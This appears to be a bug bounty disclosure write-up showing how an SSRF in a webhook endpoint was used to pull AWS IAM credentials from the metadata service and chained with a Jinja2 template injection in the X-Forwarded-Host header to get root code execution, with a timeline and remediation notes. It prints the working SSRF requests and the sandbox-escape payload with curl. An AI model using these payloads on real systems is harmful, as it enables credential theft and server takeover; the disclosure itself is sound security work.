Overview

During a private bug bounty engagement I came across a web application that exposed two separate vulnerabilities which, when chained together, allowed unauthenticated remote code execution on the backend server. This write-up walks through the full discovery and exploitation chain.

Reconnaissance

Initial enumeration revealed a webhook configuration endpoint at /api/v2/integrations/webhook that accepted a user-supplied URL. Supplying an internal IP showed the server fetching the resource — a clear SSRF primitive.

GET /api/v2/integrations/webhook?url=http://169.254.169.254/latest/meta-data/
Host: target.example.com

HTTP/1.1 200 OK
{"data": "ami-id\nami-launch-index\nami-manifest-path\nhostname\n..."}

Escalating SSRF to Internal Metadata

Using the SSRF I was able to reach the AWS EC2 metadata service and extract the IAM role credentials assigned to the instance.

GET /api/v2/integrations/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role
...
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

Finding the SSTI

A separate endpoint accepted a X-Forwarded-Host header that was reflected into an email template. Testing with a basic Jinja2 payload confirmed template injection:

X-Forwarded-Host: {{7*7}}
# Response contained: 49 in the rendered email body

Achieving RCE

With Jinja2 confirmed, I used a standard sandbox-escape payload to execute system commands:

X-Forwarded-Host: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
$ curl -H "X-Forwarded-Host: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}" https://target.example.com/api/reset-password
uid=0(root) gid=0(root) groups=0(root)

Impact

Pre-authenticated RCE as root. Combined with the IAM credentials from the SSRF, this gave complete control of both the application server and the associated AWS account.

Timeline

  • 2025-02-14 — Vulnerability discovered
  • 2025-02-15 — Reported to vendor via bug bounty platform
  • 2025-03-01 — Patch deployed by vendor
  • 2025-03-12 — Public disclosure

Remediation

The vendor addressed both issues: SSRF was mitigated by implementing an allowlist for webhook URLs and blocking metadata IP ranges. The SSTI was fixed by switching to a sandboxed template renderer that does not allow access to Python internals.